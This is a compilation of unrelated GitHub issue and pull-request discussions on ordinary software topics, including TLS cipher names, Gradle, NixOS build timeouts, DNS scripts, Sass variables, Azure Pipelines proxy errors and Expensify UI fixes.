I have no issue with the strings being there - just suggesting we should also allow the non-"TLS_" versions to work.
Other than the noted comments and the suggestion above, I think this is ready.

I also think we should allow the TLS_ prefix on the ciphersuites to be optional - i.e. work without that being specified. It just really seems out of place to force its usage (and it is redundant in the context where used).
I have no issue with the strings being there - just suggesting we should also allow the non-"TLS_" versions to work.

I disagree with this. Having "TLS_" on the front doesn't seem a huge hardship and I think having two names for the same thing is needlessly confusing (it would not necessarily be obvious to most users that TLS_AES_256_GCM_SHA384 and AES_256_GCM_SHA384 are in fact the same thing).

I have responded to all the latest comments above, and have pushed a new commit to address one of them.

Pushed. Thanks!

Would it make any sense to have the default cipher strings be the return value of a function? Perhaps not now, but in 1.2?


Extend PropertyReportTask to allow specifying which property to query

Fixes #19493
Context

Contributor Checklist

[ ] Review Contribution Guidelines
[ ] Make sure that all commits are signed off to indicate that you agree to the terms of Developer Certificate of Origin.
[ ] Make sure all contributed code can be distributed under the terms of the Apache License 2.0, e.g. the code was written by yourself or the original code is licensed under a license compatible to Apache License 2.0.
[ ] Check "Allow edit from maintainers" option in pull request so that additional changes can be pushed by Gradle team
[x] Provide integration tests (under <subproject>/src/integTest) to verify changes from a user perspective
[x] Provide unit tests (under <subproject>/src/test) to verify logic
[ ] Update User Guide, DSL Reference, and Javadoc for public-facing changes
[ ] Ensure that tests pass sanity check: ./gradlew sanityCheck
[ ] Ensure that tests pass locally: ./gradlew <changed-subproject>:quickTest

Gradle Core Team Checklist

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation
[ ] Recognize contributor in release notes

I'm just checking in as the PR is still in a draft state. Anything I can help with?
FYI the sanity check probably fails because you added a new method to a class that is part of the public API. The new method needs to be annotated with @since 7.5 and @Incubating. You can get the full report locally by running the :architecture-test:checkBinaryCompatibility' task.

Apologies no that's enough info for me to get it ready today hopefully 🤞🏽

Don't worry, I just wanted to make sure you are not blocked on anything.

@bot-gradle test this

OK, I've already triggered the following builds for you:

PullRequestFeedback build

Apologies, I forgot to mark this as ready for review - should be ready to go now :+1:

Apologies, looks like I'd switched to a different branch :sweat_smile:

@bot-gradle test RFM

OK, I've already triggered the following builds for you:

PullRequestFeedback build

@bot-gradle test RFM

OK, I've already triggered the following builds for you:

PullRequestFeedback build

@bot-gradle test and merge

OK, I've already triggered a build for you.


Nonfunctional change to trigger deploy

link to demo deployment of your smk based app is
https://smk-firewood-rt-b16795-dev.apps.silver.devops.gov.bc.ca
Verify that it looks good, if so merge the pull request which will trigger a prod deployment, otherwise close the pull request without merging
mentions / notifications: @michaelpnelson, @GuyTheFlower, @franTarkenton

The Vanity URL for the dev deploy is https://smk-firewood-api-gov-bc-ca.test.api.gov.bc.ca
If this is a dev deploy,  verify that it looks good, then merge the pull request to trigger prod deployment.
If this is a prod deployment, view your prod deploy at the url above :)
mentions / notifications: @michaelpnelson, @GuyTheFlower, @franTarkenton


Decimal precision for price and maximum file size change after reset

e.g. Maximum file size = 5368.71, click reset, Maximum file size = 5368.70912, click save, quit Sia UI, reopen, Maximum file size = 5368.71.
before

after

I believe this is with the old release version and is fixed on master.


Add "Full Width" as a user configurable option

Unless I am mistaken as of now the "Full width" option is on a per-page basis.
Personally, I want every page to be full width by default and have to remember to check this option on each page I create.
It would be nice if this boolean option could be in a user profile and the default value is taken from there. It can still be over riden on a per page basis.

Apologies, I raised this in the incorrect repo. Closing.


Issue when using model trained on DressCode

When I transfer the lower body garment, there is some issue like below:

As you can see, the garment will shrink and not fit well with the model.
Does anyone know what may be the cause?
Thank you!

The DressCode model performs poorly in some real-world scenarios, and we are still investigating the reasons.
We recommend using the model trained on the VITON-HD dataset.

Sure, will you release the training code in the future?
I am also curious about the performance when we train the model on both VITON-HD and DressCode.
Maybe I can do so if you might provide the training code in the future.
Also, I recommend you can also try FashionTryOn dataset.
Thank you again for this awesome work.

We will release the code for Leffa Loss in the future.
However, the complete training code will depend on the circumstances, as our code is based on an internal training framework. It will require some effort and time to convert it into training code that is accessible for everyone.
One easy way is to use the training code of IDM-VTON or CatVTON for model training.

Sure! Thank you again for your help!


Protonlaunch doesn't use the latest version

This is a regression on the development channel where a random version of Proton  is selected by protonlaunch instead of the latest version based on decresent naming.
This bug doesn't affect the main channel since the old implementation still uses sorted ls instead of the new implementation that uses the cleaner posix for. A alternative needs to be implemented or return to the old implementation using ls.

Added a new sorting algorithm that runs when the list of proton version is being built on 5b5f0855ffa64af1333a18868b007beba4f24f8b that should solve the problem without relying on ls.


update mobile support

@janiskelemen, your thoughts?
Updated how nav width (views) are calculated
more precise way to calc nav width
Unfortunately I had to revert drawer height, but I got another idea
drawer height 'auto' breaks animations, revert
With something like this, fitting everything on mobile should be doable
add dropdown
https://github.com/matt8707/ha-fusion/assets/36163594/ebad291d-8c5c-4988-a600-2df18d564169

Hi @matt8707,
Adding the button width to the calculation makes total sense, I like your improvements on this.
The dropdown is a good idea especially considering that more buttons might be added in the future 👍

Unfortunately, the drawer is now broken on mobile again:

You could add a larger fixed height (double the 4.75rem) only on mobile so it can fit two button rows, and it will keep the  animation working. What do you think?

Thanks, I ended up with a mix of your ideas

Thanks, I ended up with a mix of your ideas

Thanks the drawer works great now!
Unfortunately, the sidebar toggle is gone now on mobile and the sidebar is always visible. Was that intentional? The camera view in the sidebar is also not responsive anymore.

Just tested a bit on mobile and I don't think showing the sidebar on top of the main section is a good UX choice. If I open the app on mobile just to turn off a light which I have on my main view I always have to scroll down the whole sidebar which makes the UX not that accessible on mobile. What made you remove the toggle button?

The drawer works great -  I Love the Dropdown ☺

but the sections still doesn't fit on mobile

Just tested a bit on mobile and I don't think showing the sidebar on top of the main section is a good UX choice. If I open the app on mobile just to turn off a light which I have on my main view I always have to scroll down the whole sidebar which makes the UX not that accessible on mobile. What made you remove the toggle button?

In the previous solution, editing sidebar items on mobile was impossible, and completely hiding the sidebar was clever, but felt wrong. I'm considering either providing the option to hide sidebar items on mobile (like you can disable popups in button config) or adding the sidebar as a view on mobile, so it's far left and not selected by default. You're right in that the sidebar should not be displayed in full unless the user opts for it.

Just tested a bit on mobile and I don't think showing the sidebar on top of the main section is a good UX choice. If I open the app on mobile just to turn off a light which I have on my main view I always have to scroll down the whole sidebar which makes the UX not that accessible on mobile. What made you remove the toggle button?

In the previous solution, editing sidebar items on mobile was impossible, and completely hiding the sidebar was clever, but felt wrong. I'm considering either providing the option to hide sidebar items on mobile (like you can disable popups in button config) or adding the sidebar as a view on mobile, so it's far left and not selected by default. You're right in that the sidebar should not be displayed in full unless the user opts for it.

Editing the sidebar was possible by switching to the sidebar and opening the editor mode there.
Showing the sidebar on mobile as a header with the option to hide items here is a great idea. In addition, I could also easily imagine the option for items to be visible on mobile but not on the desktop.

The drawer works great -  I Love the Dropdown ☺

but the sections still doesn't fit on mobile

Off topic:
@Gerrett84 do you mind sharing your weather template in the Custom Templates thread in Discussions? I think this might be  useful for others.

@janiskelemen this is an example weather template that results in something similar as @Gerrett84  has:
weather: >
          {%- set temperature = states('sensor.openweathermap_temperature') -%}
          {%- set condition = states('sensor.openweathermap_condition') -%}
          {%- set weather_icon = '' -%}
          {%- if condition == 'clear-night' -%} {{ weather_icon }} {{'\U0001F315'}}
          {%- elif condition == 'cloudy' -%} {{ weather_icon }} {{'\U00002601\U0000FE0F'}}
          {%- elif condition == 'exceptional' -%} {{ weather_icon }} {{'\U0001F31E'}}
          {%- elif condition == 'fog' -%} {{ weather_icon }} {{'\U0001F32B\U0000FE0F'}}
          {%- elif condition == 'hail' -%} {{ weather_icon }} {{'\U000026AA'}}
          {%- elif condition == 'lightning' -%} {{ weather_icon }} {{'\U0001F329\U0000FE0F'}}
          {%- elif condition == 'lightning-rainy' -%} {{ weather_icon }} {{'\U000026C8\U0000FE0F'}}
          {%- elif condition == 'partlycloudy' -%} {{ weather_icon }} {{'\U0001F324\U0000FE0F'}}
          {%- elif condition == 'pouring' -%} {{ weather_icon }} {{'\U00002614'}}
          {%- elif condition == 'rainy' -%} {{ weather_icon }} {{'\U00002602\U0000FE0F'}}
          {%- elif condition == 'snowy' -%} {{ weather_icon }} {{'\U00002744\U0000FE0F'}}
          {%- elif condition == 'snowy-rainy' -%} {{ weather_icon }} {{'\U0001F328\U0000FE0F'}}
          {%- elif condition == 'sunny' -%} {{ weather_icon }} {{'\U00002600\U0000FE0F'}}
          {%- elif condition == 'windy' -%} {{ weather_icon }} {{'\U0001F32C\U0000FE0F'}}
          {%- elif condition == 'windy-variant' -%} {{ weather_icon }} {{'\U0001F390'}}
          {%- endif -%}
          {%- set apparent = states('sensor.openweathermap_feels_like_temperature') | round -%}
          {%- set precip = states('sensor.openweathermap_forecast_precipitation_probability') | round -%}
          {%- if not is_state('sensor.openweathermap_temperature', 'unknown') -%}
            {%- if temperature | float(default=0) <= 0.0 -%}
              {{ weather_icon }} Odczuwalna {{ apparent }}° z {{ precip }}% ryzykiem śniegu {{'\u2744\uFE0F'}}
            {%- elif temperature | float(default=0) > 0.0 -%}
              {{ weather_icon }} Odczuwalna {{ apparent}}° z {{ precip }}% ryzykiem deszczu {{ '\u2614\uFE0F' if precip > 30 }}
            {%- endif -%}
          {%- else -%}
            Nie można załadować prognozy pogody...
          {%- endif -%}

Great thank you @anarion80
I will try it on my sidebar and add it to the Custom Templates thread.


qtwebengine: Increase build timeout to 24h

The default 10h timeout caused the cancellation of builds on
aarch64-linux builders.
Perhaps counterintuitively, this wastes resources because it
requires a restart, but never completes.
https://hydra.nixos.org/build/136917190
cc @NixOS/qt-kde

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

Just curious: could we split the package maybe or turn some not needed features of by default to improve the situation here?

Chromium has an 48 hour timeout and this is the same codebase, so 24h seems very reasonable.

It seems that splitting things out comes at the cost of being unable to use the standard qt build phase. I don't have the full picture though, so I'll leave that decision to @NixOS/qt-kde


Dedicated server support

Firstly, thank you for your work... my dedicated server got hacked into and a ton of peoples stats were turned negative.
I've tried to convert the dedicated server Level.sav to json and edit the values.. then convert back but the server just ends up crashing
Is what I'm looking for even possible?

Level.001.zip
Level.002.zip

I used this tool to modify stuff on one of my test servers. Eg changing the items in my inventory to debug ones. Most likely your save files were already corrupted by hackers somehow


Auto IP detection returning IPv6 for A record creation

I tried to test this out with a domain I just purchased, and the auto IP detection code returned my IPv6 address. The script then made an A record using that address. From what I understand, an AAAA record would be needed for an IPv6 address, right? (I wasn't able to successfully get to my network with it as-is anyway.)
I'm not sure if it would be better to find a way to force the IP detection code for IPv4 or check for the returned address and choose the record accordingly. (Being able to detect and set both is probably preferable, but I understand if that's out of the intended scope for this script.)
Let me know if there's any other information I can provide that would help.
P.S. Thanks for releasing this script! Looks like it's a pretty new release (and I don't remember coming across it in the Porkbun knowledge base when I first started looking at purchasing a domain name earlier this year), and I'm glad to see an example of how the API can be used. I also just happened across the Java client (which was listed but not linked in the KB article, but is linked in the API reference), and it seems IPv6 handling was addressed in some form there a little over a week ago.

Thanks for this feedback, I'll see what I can do.

I wasn't able to get AAAA support added, but I did alter the default config.json to reflect the fact that we have an IPv4-only hostname you can use instead.
If you open the config.json and change "endpoint" to the following value, it should start detecting the IPv4 address instead:
https://api-ipv4.porkbun.com/api/json/v3
I updated the default config file in the repo to reflect this.


Add join table

##In this pull request, I implement the vet_clinic database by adding the join visit table following these steps:

[ ] Create a table named vets with the following columns:
[ ] id: integer (set it as autoincremented PRIMARY KEY)
[ ] name: string
[ ] age: integer
[ ] date_of_graduation: date
[ ] There is a many-to-many relationship between the tables species and vets: a vet can specialize in multiple species, and a species can have multiple vets specialized in it. Create a "join table" called specializations to handle this relationship.
[ ] There is a many-to-many relationship between the tables animals and vets: an animal can visit multiple vets and one vet can be visited by multiple animals. Create a "join table" called visits to handle this relationship, it should also keep track of the date of the visit.
[ ] Insert the following data for vets:
[ ] Vet William Tatcher is 45 years old and graduated Apr 23rd, 2000.
[ ] Vet Maisy Smith is 26 years old and graduated Jan 17th, 2019.
[ ] Vet Stephanie Mendez is 64 years old and graduated May 4th, 1981.
[ ] Vet Jack Harkness is 38 years old and graduated Jun 8th, 2008.
[ ] Insert the following data for specialties:
[ ] Vet William Tatcher is specialized in Pokemon.
[ ] Vet Stephanie Mendez is specialized in Digimon and Pokemon.
[ ] Vet Jack Harkness is specialized in Digimon.
[ ] Insert the following data for visits:
[ ] Agumon visited William Tatcher on May 24th, 2020.
[ ] Agumon visited Stephanie Mendez on Jul 22th, 2020.
[ ] Gabumon visited Jack Harkness on Feb 2nd, 2021.
[ ] Pikachu visited Maisy Smith on Jan 5th, 2020.
[ ] Pikachu visited Maisy Smith on Mar 8th, 2020.
[ ] Pikachu visited Maisy Smith on May 14th, 2020.
[ ] Devimon visited Stephanie Mendez on May 4th, 2021.
[ ] Charmander visited Jack Harkness on Feb 24th, 2021.
[ ] Plantmon visited Maisy Smith on Dec 21st, 2019.
[ ] Plantmon visited William Tatcher on Aug 10th, 2020.
[ ] Plantmon visited Maisy Smith on Apr 7th, 2021.
[ ] Squirtle visited Stephanie Mendez on Sep 29th, 2019.
[ ] Angemon visited Jack Harkness on Oct 3rd, 2020.
[ ] Angemon visited Jack Harkness on Nov 4th, 2020.
[ ] Boarmon visited Maisy Smith on Jan 24th, 2019.
[ ] Boarmon visited Maisy Smith on May 15th, 2019.
[ ] Boarmon visited Maisy Smith on Feb 27th, 2020.
[ ] Boarmon visited Maisy Smith on Aug 3rd, 2020.
[ ] Blossom visited Stephanie Mendez on May 24th, 2020.
[ ] Blossom visited William Tatcher on Jan 11th, 2021.
[ ] Write queries to answer the following:
[ ] Who was the last animal seen by William Tatcher?
[ ] How many different animals did Stephanie Mendez see?
[ ] List all vets and their specialties, including vets with no specialties.
[ ] List all animals that visited Stephanie Mendez between April 1st and August 30th, 2020.
[ ] What animal has the most visits to vets?
[ ] Who was Maisy Smith's first visit?
[ ] Details for most recent visit: animal information, vet information, and date of visit.
[ ] How many visits were with a vet that did not specialize in that animal's species?
[ ] What specialty should Maisy Smith consider getting? Look for the species she gets the most.
##Take a screenshot of the results of your queries.

Thanks @afanimartin for reviewing my project, I will implement the required changes

@davi

Thanks @afanimartin for reviewing my project, I will implement the required changes

@david30-maker, pls don't forget to push your changes

@topeogunleye, please I don't understand what you mean, please make it clearer. Thanks

@topeogunleye, please I don't understand what you mean, please make it clearer. Thanks

@david30-maker, the changes requested by the previous reviewer hasn't been made yet. Have you?

I have made the change to the best of my knowledge, he asked me to remove npm start and run test in my readme file. Thanks @topeogunleye:
##Statement from previous reviewer
Required Changes ♻
Check the comments under the review.
Please pdate your readme file. Starting the app with npm start command doesn't work. Add a working command. Also, there no tests to run.

I have made the change to the best of my knowledge, he asked me to remove npm start and run test in my readme file. Thanks @topeogunleye:
##Statement from previous reviewer
Required Changes ♻ Check the comments under the review.
Please pdate your readme file. Starting the app with npm start command doesn't work. Add a working command. Also, there no tests to run.

You haven't

Thanks, @Ismailco for reviewing my project  I will implement the required change.

Thanks @amejid for approving my project


enh: increase coverage

bump up testing coverage, mainly for base and linear modules.
also adds a missing assertion for LTA test.

Codecov Report

Merging #23 into master will increase coverage by 4.83%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master      #23      +/-   ##
==========================================
+ Coverage    72.2%   77.04%   +4.83%
==========================================
  Files          10       11       +1
  Lines         734      758      +24
  Branches       92       92
==========================================
+ Hits          530      584      +54
+ Misses        167      136      -31
- Partials       37       38       +1

Flag
Coverage Δ

#unittests
77.04% <100%> (+4.83%)
:arrow_up:

Impacted Files
Coverage Δ

nitransforms/linear.py
70.05% <ø> (+10.16%)
:arrow_up:

nitransforms/tests/test_transform.py
85% <100%> (+2.24%)
:arrow_up:

nitransforms/tests/test_io.py
100% <100%> (ø)
:arrow_up:

nitransforms/tests/test_base.py
100% <100%> (ø)

nitransforms/base.py
73.03% <0%> (+12.35%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2ab68b3...3552e4f. Read the comment docs.


[WIP][INFRA] Test buf-setup-action v1.30.0

What changes were proposed in this pull request?

Why are the changes needed?

Does this PR introduce any user-facing change?

How was this patch tested?

Was this patch authored or co-authored using generative AI tooling?

LGTM pending CI

LGTM pending CI

Well, let it run through GA first, and then I'll observe the log.
This version has a change regarding the upgrade from node16 to node20.
https://github.com/bufbuild/buf-setup-action/compare/v1.29.0...v1.30.0

The related logs on GA are as follows:

Merged to master.


BundleSize CircleCI Not Failing Build if bundle check fails

Do you want to request a feature or report a bug?
Bug
What is the current behavior?
When BundleSize maxSize fails the process ends with Exit Code 0 instead of 1
If the current behavior is a bug, please provide the steps to reproduce.

What is the expected behavior?
Expect failed bundlesize run to exit with Exit Code 1 and cause a failed build.
If this is a feature request, what is motivation or use case for changing the behavior?
Please mention other relevant information.

node version
8.9.1
npm version
5.5.1
Operating system
bundlesize version
0.15.3
CI you are using
CircleCI

Wow, how long has it been that way 😧
Would you like to dig in deeper to find why is not correctly set?

Could you also paste the content of the test:size script in package.json? It could be as simple as || true in there, would be a shame to dig into this issue only to find out the problem was in the usage :-)

Same here, this issue should be tagged as critical https://travis-ci.org/kenwheeler/cash/builds/510054291


Correct way to use global variables defined in _base.scss inside components scss file?

Consider components scss located at src/components/myComponent/myComponent.scss how can I use a variable like $my-font-size that is defined in src/styles/_base.scss ? I can easily import that file, but wouldn't this result in css duplication and leade to increase in filesize

The convention for _base.scss is that you don't include any actual selectors, that way if you import it multiple times you do not create duplicate styles (otherwise yes, you'd be correct). You can also label variables as !default for them to be available in the global scope, meaning as long as _base.scss is imported first they will be available in subsequent stylesheets.
Hope that helps!

Closing as resolved. Let me know if this is still unclear.

@davezuko This answer did clear things up a little bit (aka I am not afraid of duped styles now), but it is still unclear how this scaffolding supports either method. I think the use case that is failing to be considered here is this:
For a project, a developer would like to create file called palette.scss, which is imported in _base.scss and then the variables defined in palette file will be available to all subsequent modules. Right now, I will need to include palette.scss in every scss file that needs to use them.
Additionally, I was not able to get the !default post-fix to expose these variables globally as you described above.
I think in the Style portion of the README if you could just clarify how/where this scaffolding expect these items to be placed and implemented within the context of the other decisions/opinions of this scaffolding, that will probably save some headaches. I do believe the above is the most common use case for which there appears to be confusion. For me, including everywhere and relying on the build to dedupe is fine - but it is not clear whether or not that dedupe will occcur.
Cheers

+1

+1 still waiting for a way to use global variables from styles folder in components

+1

+1

+1

+1

+1

+1

+1

+1

+1

I found a solution, just make sassLoader like this
webpackConfig.sassLoader = {   data: '@import "variables";',   includePaths : project.paths.client('styles') }
Now you can use your vars everywhere without importing them at the top of your files.


Yaml Build Task - DotNetCoreCLI@2 Restore working differently when using Proxy & No Proxy

Issue moved from dotnet/sdk#12121

Please respond to @temelj.

From @temelj on Monday, June 22, 2020 9:33:04 AM
Hi,
I have a step in my azure pipelines that does the following
    - task: DotNetCoreCLI@2
      displayName: 'Restore Packages'
      inputs:
        command: 'restore'
        projects: '**/*.csproj'
        feedsToUse: 'select'
        vstsFeed: '00000a00-ef00-0e00-0fb0-000bf0bda000'
        includeNuGetOrg: false

The following logs are from a machine that has NO Proxy configured:
##[debug]Setting up auth
##[debug]SYSTEMVSSCONNECTION=https://dev.azure.com/REMOVED/
##[debug]Discovered URL prefixes: https://dev.azure.com/REMOVED/,https://REMOVED.pkgs.visualstudio.com/,https://pkgsprodcus1.pkgs.visualstudio.com/,https://REMOVED.pkgs.visualstudio.com/,https://REMOVED.pkgs.visualstudio.com/,https://pkgs.dev.azure.com/REMOVED/
##[debug]DotNetCoreCLITask.ExtraUrlPrefixesForTesting=undefined
##[debug]Getting credentials for local feeds
SYSTEMVSSCONNECTION exists true
##[debug]SYSTEMVSSCONNECTION exists true
##[debug]Got auth token
##[debug]externalEndpoints=null
##[debug]Setting up sources
##[debug]selectOrConfig=select
##[debug]Agent.BuildDirectory=D:\TEMELJ_v1\_work\1
##[debug]build.buildId=15518

##[debug]feedRestore=00000a00-ef00-0e00-0fb0-000bf0bda000
##[debug]NuGet.OverwritePackagingCollectionUrl=undefined
##[debug]Getting registry url from https://REMOVED.pkgs.visualstudio.com/
##[debug]Agent.ProxyUrl=undefined
##[debug]Created webApi client for https://REMOVED.pkgs.visualstudio.com/; options: {"proxy":null,"allowRetries":true,"maxRetries":5,"ignoreSslError":false}
##[debug]Feed registry url: https://REMOVED.pkgs.visualstudio.com/_packaging/00000a00-ef00-0e00-0fb0-000bf0bda000/nuget/v3/index.json
##[debug]includeNuGetOrg=false
##[debug]Adding the following sources to the config file: 00000a00-ef00-0e00-0fb0-000bf0bda000
##[debug]Adding sources to nuget.config
##[debug]Saving NuGet.config to a temporary config file.

Then the following when a proxy is configured:
##[debug]Setting up auth
##[debug]SYSTEMVSSCONNECTION=https://dev.azure.com/REMOVED/
##[debug]Discovered URL prefixes: https://dev.azure.com/REMOVED/
##[debug]DotNetCoreCLITask.ExtraUrlPrefixesForTesting=undefined
##[debug]Getting credentials for local feeds
SYSTEMVSSCONNECTION exists true
##[debug]SYSTEMVSSCONNECTION exists true
##[debug]Got auth token
##[debug]externalEndpoints=null
##[debug]Setting up sources
##[debug]selectOrConfig=select
##[debug]Agent.BuildDirectory=D:\TEMELJ_v1\_work\1
##[debug]build.buildId=15522
##[debug]feedRestore=00000a00-ef00-0e00-0fb0-000bf0bda000
##[debug]NuGet.OverwritePackagingCollectionUrl=undefined
##[debug]Getting registry url from https://dev.azure.com/REMOVED/
##[debug]Agent.ProxyUrl=http://<IP_ADDRESS>:3128
##[debug]Agent.ProxyUsername=undefined
##[debug]Agent.ProxyPassword=undefined
##[debug]Agent.ProxyBypassList=undefined
##[debug]Created webApi client for https://dev.azure.com/REMOVED/; options: {"proxy":{"proxyUrl":"http://<IP_ADDRESS>:3128","proxyBypassHosts":[]},"allowRetries":true,"maxRetries":5,"ignoreSslError":false}
##[debug]Network call failed. Number of retries left: 2
##[warning]Failed to find api location for area: nuget id: 9D3A4E8E-2F8F-4AE1-ABC2-B461A51CB3B3
##[debug]Processed: ##vso[task.issue type=warning;]Failed to find api location for area: nuget id: 9D3A4E8E-2F8F-4AE1-ABC2-B461A51CB3B3
##[debug]Error: Failed to find api location for area: nuget id: 9D3A4E8E-2F8F-4AE1-ABC2-B461A51CB3B3
    at beginGetLocation.then (D:\TEMELJ_v1\_work\_tasks\DotNetCoreCLI_5541a522-603c-47ad-91fc-a4b1d163081b\2.171.3\node_modules\azure-devops-node-api\VsoClient.js:85:23)
    at process._tickCallback (internal/process/next_tick.js:109:7)

Based on the logs, I cannot identify whether the Proxy is blocking something but one difference I've observed is with the following:

NO PROXY:
##[debug]Discovered URL prefixes: https://dev.azure.com/REMOVED/,https://REMOVED.pkgs.visualstudio.com/,https://pkgsprodcus1.pkgs.visualstudio.com/,https://REMOVED.pkgs.visualstudio.com/,https://REMOVED.pkgs.visualstudio.com/,https://pkgs.dev.azure.com/REMOVED/
WITH PROXY:
##[debug]Discovered URL prefixes: https://dev.azure.com/REMOVED/

Why would that be the case?

Issue moved from dotnet/sdk#12121

Please respond to @temelj.

From @temelj on Monday, June 22, 2020 10:54:47 PM
To provide more context:
When configuring the build agent behind the proxy, the dotnet restore step is failing but I cannot work out what URLs it is trying to resolve.
PS: I have also made sure that the proxy and firewall are configured as per the Self-Hosted Windows Agent documentation.

Issue moved from dotnet/sdk#12121

Please respond to @temelj.

From @temelj on Tuesday, June 23, 2020 7:55:02 AM
Findings: api.nuget.org is blocked by the proxy
I am attempting to purely use the private feed (to which I know that I have connectivity to).
And it is failing so far. I am starting to believe that the tooling relies on api.nuget.org to be accessible regardless of the fact that one uses a private feed additionally.
I am waiting for api.nuget.org to be unblocked through the proxy - if it works then, my theory is correct, if it doesn't, back at square one.

Issue moved from dotnet/sdk#12121

Please respond to @temelj.

From @temelj on Tuesday, June 23, 2020 7:59:52 AM
It also appears that the private feed does NOT have the latest version of a particular package - see log (redacted)
URL: https://REMOVED.pkgs.visualstudio.com/_packaging/00000a00-ef00-0e00-0fb0-000bf0bda000/nuget/v3/flat2/specflow/3.1.97/specflow.3.1.97.nupkg'.
{"$id":"1","innerException":null,"message":"The resource specflow.3.1.97.nupkg'. for package 'specflow 3.1.97' doesn't exist. Did you mean specflow.3.1.97.nupkg?","typeName":"Microsoft.VisualStudio.Services.NuGet.WebApi.Exceptions.PackageSubresourceNotFoundException, Microsoft.VisualStudio.Services.NuGet.WebApi","typeKey":"PackageSubresourceNotFoundException","errorCode":0,"eventId":3000}

Thank you for looking into this.
I have a few issues open within azure-pipelines-tasks and azure-pipelines-task-lib pointing out problems with the tasks when they are executed on an on-prem build agent behind a corporate proxy.
Hopefully the issues get resolved.

setting up the proxy code in dotnetcore task uses Common library written by nuget team. Hence assigning the issue to them.


Fix: Pay someone quick action text is truncated differently in mweb & Android

Details

Fixed Issues
$ https://github.com/Expensify/App/issues/43801
$ https://github.com/Expensify/App/issues/43801#issuecomment-2194714270
PROPOSAL: https://github.com/Expensify/App/issues/43801#issuecomment-2170642445, https://github.com/Expensify/App/issues/43801#issuecomment-2194714270
Tests

Launch app and mweb site
Tap fab > Pay someone
Enter an amount and tap next
Select a user with long mail id
Tap pay someone
Navigate to LHN
Tap fab
Very Quick action text can seen properly

[x] Verify that no errors appear in the JS console

Offline tests
Same as tests step.
QA Steps

Same as tests step.
PR Author Checklist

[x] I linked the correct issue in the ### Fixed Issues section above
[x] I wrote clear testing steps that cover the changes made in this PR

[x] I added steps for local testing in the Tests section
[x] I added steps for the expected offline behavior in the Offline steps section
[x] I added steps for Staging and/or Production testing in the QA steps section
[x] I added steps to cover failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)
[x] I tested this PR with a High Traffic account against the staging or production API to ensure there are no regressions (e.g. long loading states that impact usability).

[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Android: Native

Android: mWeb Chrome

iOS: Native

iOS: mWeb Safari

MacOS: Chrome / Safari

MacOS: Desktop

@MonilBhavsar bump to merge!

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

